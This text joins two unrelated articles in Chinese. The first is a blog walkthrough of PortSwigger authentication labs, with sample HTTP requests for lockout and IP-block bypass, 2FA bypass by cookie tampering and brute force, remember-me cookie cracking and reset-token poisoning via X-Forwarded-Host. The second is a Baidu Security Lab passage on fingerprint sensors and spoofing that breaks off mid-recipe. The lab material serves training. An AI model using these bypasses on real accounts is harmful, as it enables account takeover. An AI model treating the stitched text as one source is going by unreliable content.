### 有缺陷的防爆破保护
burp在这里介绍了两种防爆破保护方式
* 爆破次数过多时锁定目标用户
* 爆破次数过多时拒绝来自该IP的所有请求
但是这两种方法都有一些绕过的方法，比如一般拒绝来自IP的请求是基于计数器的，如果登录成功，则计数器会重置，那么如果我们在计数器到达阈值之前登录成功一次，然后继续爆破，就可以绕过限制让这种防爆破保护方式失效，不过这种绕过方法前提是得有一个有效的用户名和密码
### 配套靶场：有缺陷的防爆破保护 – IP阻断
因为三次失败的登录尝试就会阻断IP，但是如果中间穿插登录成功一次测试用户则可以重置计数器，这里梨子将字典用Notepad++之类的编辑器打开，然后查找换行符(\n)，然后全都换成”\n[测试用户名]\n”，然后就能绕过阻断IP进行爆破，剩余的步骤与之前相同，故省略
### 锁定账户
锁定用户，因为也是会将”该用户已锁定”之类的字样显示在响应包中的，所以也可以用于枚举用户名
但是仅仅靠锁定用户并不能充分防止暴力破解，因为可能人家只是在测试可用用户而已，比如这样的攻击手段则可能绕过这种防护手段
* 制作一个用户名字典，里面全都是可能被爆破到的用户名
* 制作一个精简的密码字典，里面包含的密码不超过锁定账户阈值，比如失败5次就锁定，那就选五个最有可能的密码做密码字典
* 然后利用Burp的Intruder尝试所有的用户名和密码的排列组合，所有的可能都尝试一遍也不会锁定账户，这样爆破成功以后也还是能登录到对应的账户的
锁定账户这种防护手段也无法防护撞库攻击，因为有些人喜欢将不同网站密码设置成相同的，这就导致如果他们其中一个账户密码泄漏以后可以用来登录其他账户，并且因为只尝试一次而无法触发该防护手段
### 配套靶场：利用锁定账户枚举用户名
因为如果账户有效的话则会因为超过设定失败登录尝试阈值而锁定账户，所以也可以用来侧面判断那些账户是有效的，虽然这样做有很大副作用，就是不能继续爆破密码了，但是这一道题只是为了开拓大家的思路，因为要尝试所有的用户名和密码的排列组合，所以我们需要使用cluster
bomb这种Intruder模式，剩余的过程与前面相同，略
### 用户频率限制
用户频率限制就是当同一个IP单位时间内请求次数超过阈值就会被阻断IP，然后为了避免是误操作，还会有以下几种比较常见的解除方式
* 在设定的时间间隔后自动解除
* 仅能由管理员解除
* 成功输入验证码后可以解除
有了这种防护手段以后就可以用来防护前面讲到的那种绕过账户锁定防护手段的攻击，但是burp说了，即使这样，也不是完全安全的，好家伙，连环套啊，burp说还是有方法可以绕过的，好家伙，burp在这里介绍了一种方法，就是既然速度快了会被禁IP，那么我们就一次请求验证多个账户，开源节流嘛
### 配套靶场：利用单次请求验证多个账户进行暴力破解
我们在burp上追踪登录行为，发现登录请求会以json格式发送用户名和密码，那么我们可以将密码设置成一个数组，让应用系统一个一个比对，我们直接将整个密码字典的密码都怼进去，因为是练习，所以必成，然后我们右键选择”Show
response in
browser”，这样就可以直接在浏览器中打开响应包了，前面所有的靶场都可以这么做，嘻嘻嘻，是梨子落掉了没讲，抱歉啦，过程大概就是这样，就不截图了(实际上是梨子刷靶场的时候忘记截了，嘻嘻嘻，小懒虫)
### HTTP基础身份验证
这是一种比较古老的身份验证方式，但是对于初学者来说是比较简单的，所以burp也提了一嘴，它是怎么进行身份验证的呢，它在HTTP请求包中加入一个头部字段Authentication，然后这个字段的值呢是将以冒号分割开的用户名密码做base64编码后的字符串，长这样婶儿
`Authorization: Basic base64(username:password)`
因为base64只是一种编码，所以是可逆的，就导致如果应用程序没有启用HSTS(HTTP严格传输安全性)，则用户的登录凭证就会存在被中间人窃取的风险
而且这种身份验证方式还特别容易遭到暴力破解攻击，因为burp有一个功能可以对填充后的payload自动做base64编码处理
burp还介绍称其还可能遭到CSRF攻击，至于什么是CSRF，梨子后面会讲的哦
所以这种身份验证方式遭到攻击时还是很危险的。
### 多因素身份验证中的漏洞
什么是多因素，多因素就是同时采用多种因素去进行身份验证，但是很多情况下验证生物因素是不切实际的，因为我们之前介绍过，身份验证的因素只有三种，去掉一个不切实际的，那就只剩下双因素认证(2FA)了，那么剩下的双因素都是哪两个因素呢，就是所知和所有，所知就是前文提到的基于密码登录，所有这个因素的身份验证手段就是采用临时验证码的手段实现的，接收临时验证码的终端只要是能唯一确定一个人即可，比如那种硬件的令牌啊，手机啊，电脑啊之类的设备，但是这时候大家一定会问，那有的二次验证的软件呢，其实这也是基于你唯一拥有的手机这一类设备实现的，采用了2FA机制以后呢，除非攻击者通过各种手段获取到了接收设备或者接收终端的使用权，不然就是安全的，但是！对，”但是”永远不会迟到，这种机制还是存在漏洞的，burp在这里讲到，有一种2FA是伪2FA，就是邮箱验证码，因为邮箱验证码并不能完全保证是唯一拥有的，只要攻击者得到受害者邮箱的密码，那么这种2FA就形同虚设，所以这种2FA并不是真的2FA
### 双因素身份验证tokens
前面介绍过验证码是通过某种设备接收的嘛，为了提供比较强的安全性，有的网站会为用户提供专门用于接收验证码的设备，比如RSA令牌或者小键盘令牌，这些设备除了具有安全性高的优点外，还有可以直接生成验证码的优点，还有的网站会使用专用的APP，如Google验证器
现在比较常用的方式还有使用手机验证码，其实严格意义上讲，它并不属于所有的范畴里，因为它是由SMS服务发送到用户手机上的，并不是手机自己生成的，这会导致一个什么问题呢，这里burp做了一个非常不太会发生，但是还是有概率的情况，就是既然是通过SIM卡来唯一识别一个人，那谁拿到谁就会被SMS服务认为是本人，所以手机验证码会因为SIM被窃取而被窃取
### 绕过双因素身份验证
前面讲了，双因素身份验证也是有缺陷的，这里burp介绍了一种情况，就是验证用户名和密码、输入验证码是两个步骤，当用户名和密码通过验证以后，此时其实用户已经是处于登录状态了，所以我们就可以跳过输入验证码的环节直接进入用户界面
### 配套靶场：2FA的简单绕过
首先我们先登录一下测试用户，因为我们可以查看到发送到测试用户邮箱的验证码，成功登录以后我们记一下登陆成功后的路径
然后我们登录目标用户，但是我们没法看到发送到目标用户邮箱的验证码，所以我们利用前面讲过的知识，直接将路径改成刚才我们记下的登录成功后的路径，发现我们直接成功进入了用户界面
我们就这样成功解决了
### 有缺陷的2FA验证逻辑
有的时候，应用系统并不会验证用户有没有完成第一步，即验证用户名和密码步骤，下面我们看一下这样一个情况，首先我们先登录一个用户
POST /login-steps/first HTTP/1.1
Host: vulnerable-website.com
...
username=carlos&password=qwerty
然后呢，应用系统会因为验证通过而分配给用户一个Cookie，并且会进入第二步
HTTP/1.1 200 OK
Set-Cookie: account=carlos
GET /login-steps/second HTTP/1.1
Cookie: account=carlos
然后在提交验证码的时候会发出一个这样的请求
POST /login-steps/second HTTP/1.1
Host: vulnerable-website.com
Cookie: account=carlos
...
verification-code=123456
然后应用系统直接通过Cookie指定的用户去验证验证码，那么这个时候我们要是将其修改成目标用户呢
POST /login-steps/second HTTP/1.1
Host: vulnerable-website.com
Cookie: account=victim-user
...
verification-code=123456
然后如果我们能通过暴力破解的方式攻击，那么很有可能攻击者在不知道目标用户的密码的情况下因为验证码正确而成功登录目标用户，这也太危险了吧，再强的密码也防不住啊
### 配套靶场：2FA有缺陷的逻辑
我们根据前面讲到的，先登录给的测试用户，然后发现提交验证码的时候Cookie中会有一个verify参数，它的值代表当前要验证验证码的用户名，然后还有一个POST参数mfa-code，就是验证码啦
然后我们开始爆破，10000种组合还是要久一点的，耐心等待一下，然后成功爆破到以后，用之前介绍的方法在浏览器打开响应包，发现已经成功登录目标用户而不需要知道它的密码和接收验证码邮箱的使用权
### 暴力破解2FA验证码
就像基于密码登录的身份验证机制一样，同样会有一些防护2FA验证码暴力破解的手段，因为一般验证码都是4或6位嘛，如果没有防护手段的话，验证码机制就形同虚设一样
比如有的应用程序会在多少次失败的验证码尝试后自动注销用户，但是！对，burp又来了，burp在这里介绍了一款大杀器，Macro，翻译过来就是”宏”，就是可以”录制”一系列的请求序列以实现多步骤暴力破解攻击
### 配套靶场：使用暴力破解绕过2FA
这一道题目非常重要，要认真听哦，这里梨子相信大家用了这么些年的burp，并不知道burp有这么强力的功能，对吧，嘻嘻嘻，那来了就是赚到了，快点学起来吧，这里如果两次失败的登录尝试就会注销用户，所以我们需要通过录制宏的方式来在注销用户以后自动回到登录界面继续暴力破解，下面请跟着梨子的步骤一起学习如何录制宏吧
大家注意一下哦，就是在add Macro以后会弹出一个框框，里面全都是请求包，大家按照一下顺序依次选中
* GET /login
* POST /login
* GET /login2
然后如果顺序没错的话，点击Test
Macro以后大家就会得到如图的效果，它会自动获取csrf令牌交给下面的请求使用，从而不会让操作失效，真的是大杀器啊，所以说配置了csrf令牌也并不能一定防爆破，嘻嘻嘻，然后因为我们要爆破验证码，所以我们把提交验证码的请求发到Intruder中，开始爆破，因为csrf令牌的原因，所以我们需要调整线程数为1，所以这样加上录制的宏，就导致完成一次验证码尝试操作需要4个请求包，就是4s，就我们需要等很长时间才能爆破成功，因为burp的靶场开启以后是有一定的时限(burp说可能是25分钟左右)的，所以可能会出现靶场超时了还没爆破出来，梨子也是尝试了好多次才成功的呢，如果有什么疑问直接在评论区问就好啦，嘻嘻嘻
功夫不负有心人，梨子终于爆破到正确的验证码，然后在浏览器打开响应包，发现成功登录目标用户
### 其他身份验证机制的漏洞
有的应用系统在提供了基本的登录功能外，还提供了一些扩展功能来管理账户，比如用户可以在忘记密码的时候更改或重置密码，这些功能也是为攻击者提供可乘之机的
### 保持登录
保持登录功能就是你关闭浏览器以后，账户还是保持着登录状态的，一般是首次登录时勾选了”保持登录”或”记住我”时就会开启
这个功能一般会生成一个”记住我”令牌，然后存放在Cookie中，它的值有的时候是可预测的，比如由用户名和时间戳结合生成的，有的情况居然由密码生成，所以如果构造方式是比较简单的可能会导致攻击者伪造真实的Cookie来欺骗登录
有的应用程序认为只要做了一些变换就觉得是做了加密，但是如果只是使用了类似base64之类的编码，这种加密就是自欺欺人，一样是会被攻击者伪造有效Cookie的，而且即使使用了hash算法也不一定就是安全的，如果攻击者猜出了构造组合方式，然后应用程序仅仅使用了一层hash算法并且未做加盐处理，则也会被攻击者成功伪造出来有效的Cookie的
* * *
即使攻击者不能通过创建一个用户的方式来观察构造方式，攻击者也可以利用XSS攻击窃取受害者的Cookie来分析构造方式，至于什么是XSS攻击呢，梨子后面会讲的，嘻嘻嘻，先吊着你们，而且，如果目标应用系统采用开源技术开发的话，也可以直接下载开源技术的源码包进行分析
如果应用程序仅对密码做一层hash处理并且未加盐的话，攻击者可能会通过一些网站搜索到相同hash值的密码明文，所以加盐或多做几层hash处理是非常有必要的
### 配套靶场：暴力破解保持登录Cookie
我们先登录一下测试用户，然后勾选保持登录，抓下登录的请求包
我们发现Cookie中除了session这个必须的参数以外，还有一个stay-logged-in参数，我们发现这个参数的值有点像base64，我们就发到decoder里看一下
我们看到我们的猜测是正确的，发现解开以后是用户名和疑似密码md5值的组合，既然这样，我们就假设我们的猜测是正确的，然后我们将这个请求包发送到Intruder中，对payload做以下变换
因为我们的目标用户是确定的，所以我们可以将其设置为前缀，然后上下顺序就代表着变换的执行顺序，大家不要弄错了哦，但是我们需要提取登录成功的特征，所以我们这样设置
经过一顿设置以后，就开始暴力破解吧
因为我们设置了特征值提取嘛，所以我们很快定位到了登录成功的响应包，在浏览器打开发现登陆进去了
### 配套靶场：离线密码破解
因为上面介绍到可以利用XSS窃取受害者的Cookie，所以我们在提供的服务器里面构造payload
大概的作用就是受害者遭到XSS攻击以后将cookie附加到URL中发出请求，这样攻击者就能获取到受害者的Cookie了
其实这个构造方式和上面一道题是相同的，只是演示一下这种攻击方式，解了base64以后，我们拿着密码去那种在线网站查一下看看能不能查到对应的明文，一般弱密码都能查到的
好，我们查到以后就能登录到目标用户了，非常简单
### 重置用户密码
有的用户记性不太好，所以应用系统就提供了重置密码功能，但是这种功能验证用户身份方式存在漏洞，就导致可能攻击者会冒用受害者身份去重置其密码从而登录其账户
### 通过邮件发送密码
有的应用系统不会傻到会把当前密码发送给用户，但是他们居然会将生成的新密码发送给用户，梨子在想，这不还是傻嘛
所以burp建议一般不要将永久性的密码直接发送给用户，可以换成将临时密码发送给用户，并且让他在有效时间内更改密码，这样是比直接将密码发送给用户的方式安全很多
burp认为邮箱并不能认为是一种安全的方式，因为有的时候用户的不同设备之间还会自动同步邮件，就会给攻击者可乘之机
### 使用URL重置密码
比直接通过邮箱更靠谱点的方式就是应用系统将会重定向到重置密码的URL发送给用户，但是这种方式也有它不安全的地方，比如URL仅仅通过URL参数来确定所重置密码的用户，啊这，这感觉也很危险啊，像这样的
``http://vulnerable-website.com/reset-password?user=victim-user`
从上面来看，仅仅通过user参数来定位，那攻击者就可以仅仅修改参数值来重置任意用户的密码，所以我们可以生成一个足够随机的，难以暴力破解的令牌来代替仅仅通过用户名来定位的方式，例如这样的
`http://vulnerable-website.com/reset-password?token=a0ba0d1cb3b63d13822572fcff1a241895d893f659164d4cc550b421ebdd48a8`
然后应用程序在后端将token值与用户绑定，在访问时，验证token是否有效并且开始重置与其绑定的用户的密码，并且建议对token设置一个比较短的有效期，就足够本人操作，又不给攻击者足够时间发动攻击，并且在使用一次后立即销毁，但是呢，有的应用程序并不会强制要求token参数是有值的，就导致我截取对应请求包，然后清空其参数值就导致应用程序不会验证token而也可以重置用户的密码
那么这里有人会问了，如果修复了上述逻辑上的漏洞还会被攻击吗，burp告诉我们，会的，对，就总是有意外，就像上面我们用XSS攻击窃取Cookie一样，我们也可以窃取Token，因为窃取到的Token并未使用，所以Token是有效的，我们依然可以利用窃取来的Token重置受害者的密码
### 配套靶场：密码重置有缺陷的逻辑
就像我们上面讲的，我们触发一个重置密码的请求，然后清空Token的值，然后将用户名修改成目标用户，密码修改成简单的弱密码，发现也是可以触发跳转的
然后我们跟随重定向，重置密码成功了，然后我们就能用新密码登录目标用户了
### 配套靶场：利用中间件发动密码重置投毒
我们发现重置密码会将密码重置Token发送Host字段指定的邮箱中，但是我们修改Host为我们的服务器的域并不生效，于是我们可以添加这样一个字段X-Forwarded-Host字段，然后它的值就是我们服务器的域，发现我们接收到了本来应该发到受害者邮箱的密码重置Token，于是我们拦截重置密码请求包，将用户名修改为目标用户
然后我们就会进入密码重置链接，填写窃取到的密码重置Token以后就能成功重置目标用户密码了
### 更改用户密码
更改密码和重置密码有一点点区别，就是重置密码是旧密码忘了，而更改密码呢，是知道旧密码，所以更改密码的时候需要提供旧密码，应用程序会先验证旧密码是不是对的，然后再更改用户填写两次的新密码
有的应用程序会出现这种情况，应用程序并不强制只能更改当前登录的用户的密码，而是任意用户都可以访问更改密码页面，然后修改某个参数值来定位任意用户从而为更改任意用户密码提供契机，因为应用程序会验证旧密码，所以这个功能会遭受暴力破解攻击
### 配套靶场：利用更改密码发动密码暴力破解
为了判断旧密码是否正确，我们故意将两次新密码写的不一样，这样当旧密码正确的时候则会提示两次新密码不同，方便我们对爆破结果进行筛选，过程略(才不会告诉你们梨子懒，没有截图呢)，知道用户旧密码以后，还改什么密码啊，直接登录啊
### 第三方身份验证机制中的漏洞
本节主要内容为OAuth身份验证机制中的漏洞，因为比较复杂，所以梨子打算后面专门做成一个专题来讲，所以这一节暂时不讲，但是不影响大家对身份验证漏洞原理的简单理解哦
### 如何加固身份验证机制
burp给出了一些关于加固身份验证机制的小建议
### 留意用户登录凭证
因为如果你泄漏了用户登录凭证的明文形式，那么不管你的身份验证机制多强都形同虚设，所以要保证所有由应用程序发出的请求均采用HTTPS方式，并且将所有HTTP请求重定向到HTTPS请求
还应该检查应用程序的配置文件中存不存在可能泄漏的用户登录凭证
### 不要指望用户的安全性
因为肯定会有人偷懒，所以建议尽量使用严格的强制的身份验证机制防止有人投机取巧
最有效的方式肯定是设置一个密码强度检查器，比较有名的应用就是由Dropbox开发的JS库zxcvbn，好家伙，这名字起的有点随意啊，就是键盘英文最下面那一行除了m，梨子没有过多地了解这个库，如果有同学有比较了解的，可以在评论区给梨子讲一讲哦
### 防止用户名枚举
前面有讲过暴力破解嘛，就是对存在的用户发动的，那么如果不让攻击者知道用户名是否存在，可以一定程度地防止暴力破解攻击，比如不管用户名还是密码错误都返回相同的报错信息，并且返回相同的验证码，尽量让响应时间相差不大等等
### 实施强大的防暴力破解防护
这里建议的方法就是对请求频率过高的IP实施阻断所有来自此IP的请求，然后为了防止通过HTTP头部字段伪造IP，应该要求每次请求都需要输入验证码，虽然这并不能完全防止暴力破解攻击，但是可以在一定程度增大攻击者的攻击难度，试图让其知难而退
### 再三检查验证逻辑
再三检查验证逻辑非常有必要，往往逻辑漏洞的危害比常规漏洞危害要大，而且利用难度也会更小，所以应用程序架构者一定要再三检查验证逻辑，建议以非常人的角度进行头脑风暴，这样有利于寻找到逻辑漏洞
### 不要忽视扩展功能
安全防护就是木桶效应，即使你其他的措施做的再好，只要有短板，就会给攻击者可乘之机，所以扩展功能也不能小瞧，比如注册功能啊，忘记密码功能啊，修改密码功能啊，等等
### 实施适当的多因素身份验证机制
通过前面长篇大论的讲解，我们知道其实短信验证码也不能算是真正是2FA，比较理想的方式就是使用专用来生成验证码的设备或者APP，这样可以极大程度上对身份验证机制进行防护，比较常见的实践就是Steam的验证码生成器，Google验证器，还有Authy等也是非常不错的身份验证器，这些验证器还有一个特点，就是不能随意地重置，需要只有本人知道的救援代码才能重置，而且一个救援代码只能使用一次，还是非常安全的
## 总结
以上就是梨子带你刷burpsuite官方网络安全学院靶场(练兵场)系列之服务器端漏洞篇 –
身份验证专题的全部内容了，本专题主要讲了暴力破解，绕过身份验证逻辑等常见的身份验证漏洞，同样的，本系列所有文章都只是简单介绍Web漏洞原理，进阶的话需要小伙伴们花费更多时间，精力去学习哦，尤其是逻辑漏洞的发现更是需要非常细心地寻找才能发现，大家对于本节专题有任何疑问可以在评论区讨论哦，嘻嘻嘻！ | 社区文章 |
作者：[小灰灰@百度安全实验室](https://mp.weixin.qq.com/s/0VJPz4ckWO11aD1sft2emA
"小灰灰@百度安全实验室")
如今越来越多的智能设备都采用了各种各样的生物特征识别技术，例如指纹、虹膜、人脸等。在大家心中，这些生物识别都是安全性极高，不会有风险的。但是我们深入研究后发现，其实这些生物特征识别技术都存在传感器容易被欺骗的安全问题。同时在今年的10月24日举行的Geekpwn破解大赛上，我也向大家展示了常见生物特征识别的破解show。由于现场电源干扰的原因导致指纹采集噪点过多，指纹破解show存在些小的问题没有成功展示。应安全界朋友邀请，特以本文对手机指纹的安全问题做深入剖析。
为了更清晰的给大家展示指纹识别使用过程中的安全风险，同时也是希望各个手机厂商增强对指纹识别传感器的安全性重视，百度安全实验室对常见手机型号进行了大量测试，编写并发布了这个智能设备指纹安全调研报告，包含指纹识别的原理、攻击方法、测试统计等。测试结果非常令人忧虑，所有测试品牌和指纹芯片都没有承受我们的5-5攻击（制作过程不超过5分钟，耗材不超过5角钱）。我们呼吁手机厂商以及指纹芯片厂商重视这个威胁，保持对持续对抗的技术投入，并且在重要场合使用复合认证技术，不要采用单一指纹认证做大额转账等高敏感操作授权。
同时我们也需要指出，实现手机上的假指纹攻击需要攻击者拿到对方手机这个前提，而对于大部分国内用户而言，这个风险并不大。指纹解锁和指纹支付目前已经十分流行，在网络环境下也比Pin
Code/Password等传统手段更安全。我们不希望普通用户因为这个安全问题产生对指纹识别验证的恐慌。同时我们也提醒带有指纹识别功能的手机用户：请妥善保管自己的手机，防止他人轻易拿到。只要坏人拿不到手机，指纹复制攻击也是无法实施的；而手机一旦落到坏人手中，指纹复制攻击将可能是他们最好的突破口。
#### 1 指纹图像提取原理
现阶段，任何一种生物特征识别，都是通过传感器把生物特征投影成像为数字信号，指纹也不例外。具体来说分为指纹图像提取、预处理、特征提取、比对等步骤。
图1指纹图像提取原理
根据指纹图像提取技术的不同，现阶段主要分为光学指纹识别模块、半导体（电容）指纹识别模块两大类。我们希望通过对这些指纹图像提取模块工作原理的介绍，让大家对硬件传感器层面有更直观更深入的了解，同时便于对后续攻击方法的整体理解。
##### 1.1 光学指纹识别
因为这个技术应用的最早，现在依然有很多门禁、打卡机等等在使用这种技术。技术原理是利用光的折射和反射。优点是造价低、可靠性高。不过由于光学本身的特点，所以想要集成到小模块当中，应用到手机上是个难点。另外光学指纹识别之前有一个麻烦的地方，就是如果手上有油污或者汗水，识别效果就会大幅度降低。
当光源在全反射角以上，就是光源侧着照进去时，光线会侧着反射出去，在反射光的角度用镜头拍摄，就能拍到很亮的背景。如果指纹在棱镜表面光源照亮的区域接触，那么指纹凸出的部分（脊线）和棱镜接触，凹下的部分（谷线）不会接触，接触部分因为全反射效应会有一个受抑制的情形（光线从脊线接触的地方透射出去了），反射光的对应区域会变弱，这时候CMOS传感器会收到一个脊线暗、谷线亮的图像，原理图如图2所示：
图2光学指纹模块工作原理（全反射角以上）>图2光学指纹模块工作原理（全反射角以上）
而当光源在全反射角以下时，光线从正下方射入，这时候光线不会从棱镜上透射出去，但是手指与棱镜接触的区域，光线会发生所有角度的散射，这时候就会出现凸出的脊线部分为亮（看起来就像是接触到玻璃的脊线把光都导走了并且亮了），谷线为暗（没有接触的部分CMOS看到的是黑色底板反射的黑像），这样就可以形成指纹图像，例如我手中的光学指纹模块就是这种，工作时成像如图3所示。当没有手指放入的时候，由于CMOS只看到了反射的黑底板，会呈现全黑的图像，光路图如图4所示。
图 3 CMOS传感器看到的指纹成像
图4 光学指纹模块光路图部分（全反射角以下）
图5 FPC 1042光学指纹模块整体结构图
图6左边是这款FPC
1042光学指纹识别模块采集到的图像，其他光学型号类似，特点是图像分辨率较低、间断点较多、受手湿等影响较大。例如图6右边是在手上有水的情况下的指纹成像。
图6 光学指纹模块采集到的图像以及手上有水时的成像
##### 1.2 电容指纹识别
电容式指纹识别要比光学式的复杂许多，其原理是将压力感测、电容感测等感测器整合于一块芯片中，当指纹按压芯片表面时，会感应放出瞬间电压导向手指（我们会发现各种电容传感器周围都会有一圈金属圈，为的就是把电荷导向手指），这时硅传感器成为电容的一个极板，手指则是另一极板，每一个像素的电容感测器会根据指纹波峰与波谷距传感器距离的不同而产生相应的电荷差，最终所有像素的感测器形成8bit的灰度图像，原理图如图7所示。
图 7 电容指纹识别模块原理
图 8 FPC 1020电容指纹传感模块（传感器+主控）
这里以国内常见的FPC1020电容指纹传感器为例，给大家介绍下结构。
我们可以发现，采集部分结构比较简单，由一个比5角硬币还小的传感器便完成了采集任务，相比于光学传感器体积小、集成度高。所以这种传感器广泛应用于手机、便携设备等地方。（例如早期指纹手机H厂商的M系列就是直接采用的这片FPC1020传感器，国内很多高级门锁、保险箱也是采用的这款）
图9是这款电容指纹识别模块采集到的图像：
图9 电容指纹传感器采集到的指纹图像
从图像中我们可以明显感觉到采集精度、抗干扰等相比光学指纹传感器都有了明显提高，同时采集速度也快了很多。
这些指纹模块一般都支持二次开发（传感器+主控芯片），具有指纹图像采集、指纹比对的功能，既可以使用内置算法对获取图像进行特征匹配给出结果，又可以支持图片下载到用户端进行其他算法的匹配、公民指纹图像采集等。我们主要是用了其中的图片下载功能对指纹进行复制、研究。而手机中、我们平常见到的指纹锁等，不会存储用户的指纹图像，仅会存储几组指纹的特征数。
#### 2 指纹识别匹配算法
最基础的指纹图像已经获取到，有的同学可能会认为指纹的匹配就是用传感器现在获取到的指纹图像与最初存储的图像做比对。实际上考虑传输&存储成本、效率等问题，指纹的识别匹配算法是通过对传感器获取到的指纹图像进行迅速提取特征，对特征进行比对实现的。
整体的特征提取需要如下步骤：图像预处理、指纹图像增强、二值化、细化、提取特征点等。其中指纹图像增强方面最为重要，众多学者做了大量研究工作。
图10 指纹识别匹配算法流程
由于网上关于指纹识别算法信息很少，没有较为完整的实现，部分实现方法也千奇百怪（甚至有通过图片相似度实现，效果大打折扣）。我们通过分析实际使用的指纹系统并查阅大量论文，给大家整理下一般的指纹识别算法流程，并通过代码实现，希望通过这些具体的步骤，让大家更直观的理解指纹识别软件层面的处理、识别方法。
##### 2.1 预处理
我们以上面通过电容传感器得到的指纹为例，这张图片的主要问题有：
图11 电容传感器采集到的指纹图像以及存在的问题
首先进行图像预处理，主要是规格化和图像分割。规格化是把不同原图像的平均灰度和对比度调整到一个固定的级别，为后续处理提供一个较为统一的图像规格，以减少不同指纹图像之间的差异。图像分割是把指纹前景区与背景区分开。指纹图像的前景区是由脊线和谷线交替组成的，其灰度统计特性中局部灰度方差比较大，而指纹图像的背景区，这一值是很小的。基于这一特性，可以利用图像的局部方差对指纹图像进行分割，去除无用图像部分。
图12是通过局部方差获取到的图像分割边界，后续处理都是在这个边界里进行：
图 12 边界计算后的图像蒙版
图 13 指纹的方向场
##### 2.2 图像增强
这里首先介绍下指纹的图像增强处理。我们通过图6以及图9可以知道，通过传感器采集到的指纹纹理并不是十分清晰，而且经常会伴有中断、粗细不均等现象。为了“修复”这些瑕疵，让指纹特征更好的体现出来（例如让纹理看起来更平滑、统一），引入了这种处理方法，利用相关的算法完成修复增强效果。
首先我们来求一下方向场和频率。方向图是指纹图像中脊的走向所构成的点阵，是指纹图像的一种变换表示方法，它包含了指纹形状和特征点的重要信息。这些信息为后续的去除指纹干扰&噪点滤波，提供了每个块的重要的方向、频率信息，作为一个重要的参数传递给下一步的方向滤波。
Lin
Hong等人提出了一种利用梯度算子求取方向图的方法。通过这种算法，得到上面指纹的方向场图像，同时存储方向场数组（大家仔细观察，每个块的方向跟对应位置的指纹纹理走向是一致的），如图13所示。
下面我们来引入对指纹纹路的滤波优化。一般一幅指纹图像是脊线和谷线组成的线条状图像 ,因此其灰度直方图应表现明显的双峰性质 ,
但是由于指纹采集时受到各种噪声的影响（采集设备污染、手指干燥&脱皮等），使得实际得到的灰度直方图往往并不呈现双峰性质，并且伴有中断、纹路深浅、粗细不均等（可参见图6的情况）。因此一般的基于灰度像素处理的图像增强方法如色阶调整、直方图校正、对比度增强、锐化等很难取得明显的效果（大家可以把这些图像放到PS里各种处理，发现不管怎么处理，不均匀的粗细、中断等都无法解决）。
为了解决这些问题，我们尝试使用Gabor 滤波对指纹图像进行处理。对于指纹图像,
局部区域的纹线分布具有较稳定的方向和频率，根据这些方向和频率数值，如果尝试设计出相应的带通滤波器就能有效地在局部区域对指纹进行修正和滤波。由于Gabor滤波器可以同时在时域和频域上获得最佳的分辨率，具有良好的带通性和方向选择性，可以采用Gabor
滤波器来实现指纹图像的增强。经过滤波器的增强，指纹图像会变得粗细均匀、平滑、修补间断点等。
图15 Gabor滤波器的一般形式
图15即为Gabor滤波器的一般形式，其中Φ表示滤波器的方向，f 表示 脊线形成的正弦波频率，δx 和δy 为沿 X 轴和 Y
轴的空间常量，x、y为每个像素的位置。结合之前得到的每个块的方向场数组，同时这里设定频率为常数（很多研究表明，指纹频率在一定范围内不影响整体滤波效果），带入处理结果如下：
图 16 使用Gabor滤波器处理后的指纹
图 17 细化处理后的指纹图像
通过结果可以看到，指纹图像经过Gabor 滤波后变得十分平滑均匀，这为后续的特征点确定打下基础。
##### 2.3 二值化及细化
指纹图像二值化的目的是把灰度指纹图像变成 0、1 的二值图像 ,
使指纹的纹线信息更加清晰简洁。二值化方法较为简单，主要是根据一个阈值进行像素去留判断，这里就省略。由于指纹图像二值化以后 , 纹线仍具有一定的宽度 ,
为了进一步压缩数据 , 简化、统一特征提取的计算,
需对指纹图像进行细化处理。这里使用基于领域的判断算法，决定某个象素该移去还是保留。如图17既是细化后的指纹图像。
##### 2.4 特征点提取
最后就是对细化后的指纹图像取特征点了。提取原则是根据细化后的图像，提取分叉、交汇、末端、单独点作为特征点，同时在一定距离范围内减少过多特征点、删去边界特征点。我们来看下最终提取结果：
图18 指纹图像的特征点提取结果
可见红框中既为指纹的特征点，其中标注出的关键点均是指纹纹路的末端、交汇等。最终把特征点存储在只有指纹模块才能访问的存储器中。当下一次指纹进行比对时，用同样方式提取特征点，并把特征点数组进行逐个对比。结合手指的一些蠕变变形误差、传感器误差等，当匹配误差小于一定阈值（例如使用排序算法，逐个匹配特征点，存在一个点与邻点的关系和原始特征相比，距离误差小于5%，位置角度误差小于10度），可认为是同一个手指，比对通过。
我们来总结下传统的指纹比对识别过程。指纹纹路对于每个人来说都是唯一不变的，利用这个特征我们可以用来进行身份验证。但是由于指纹图像受传感器污染、按压力度大小、脱皮、干燥等影响，初始图像并没有很直观、统一的特征，同时存在很多噪点、干扰，需要对其进行进一步归一化、滤波处理。处理后便可进行指纹特征的提取，以便特征存储或比对。
但是由于小型化、易用性的需求，现在的指纹识别传感器在手机上已经做的非常小了，需要在更小的空间上对指纹特征进行识别提取，相应的传感器单位面积分辨率也会大大提高，软件识别算法也有些变化。篇幅原因，这里不做展开。
#### 3 假指纹的攻击实现
通过上面对原理的介绍，我们可以了解到，手机等设备通过指纹特征进行特征提取、身份验证。这里面就会存在一个真假指纹的问题，而我们的攻击目标便是：如何制作出一个假指纹并像真指纹一样通过验证。
通过大量分析研究，我们提出了如下两个攻击思路：
1. 通过指纹采集的方式获取原始指纹图像，进而制造一个假体指纹，可以通过认证
2. 通过文件读取等获取到指纹特征文件，根据指纹特征制造一个假体指纹，可以通过认证
由于指纹特征一般情况下都采用了安全存储，平常较难获取到，我们这篇文章主要研究下思路1，具体概括如下：
我们首先通过指纹膜的制作，证明假指纹制作的可行性以及活体检测的普遍缺失。然后寻找出获取到一个人的指纹纹路图像的有效方法。最后通过指纹膜中一些原理的启发，结合刚刚得到的指纹纹路图像，制作出可以骗过传感器的假指纹。
我们希望通过这些探究和实际测试，可以给大家直观的展示指纹识别所存在的安全风险，展示一些简单又有效的指纹采集方式，让模块生产商、厂商、用户对这些攻击方法予以重视，并加以防范改进。
##### 3.1 重现007中的指纹膜
通过一些影视剧作品，我们可以发现假体指纹的制造在很多年以前就已经存在了（1971年的007电影首次出现指纹膜），现在主要在考勤机代打卡、驾校代签到等场景中有使用。通过万能的X宝（由老司机指点，较为隐蔽），我们购买到了指纹膜制作套件。套件根据卖家询问：按手指时机器是否发光，会推荐光学或者电容型。我们两种都购买了，来研究其制作过程。
制作说明（参见图19）：
1. 滴几滴蜡烛到纸上，没干透的时候把指纹印按上；
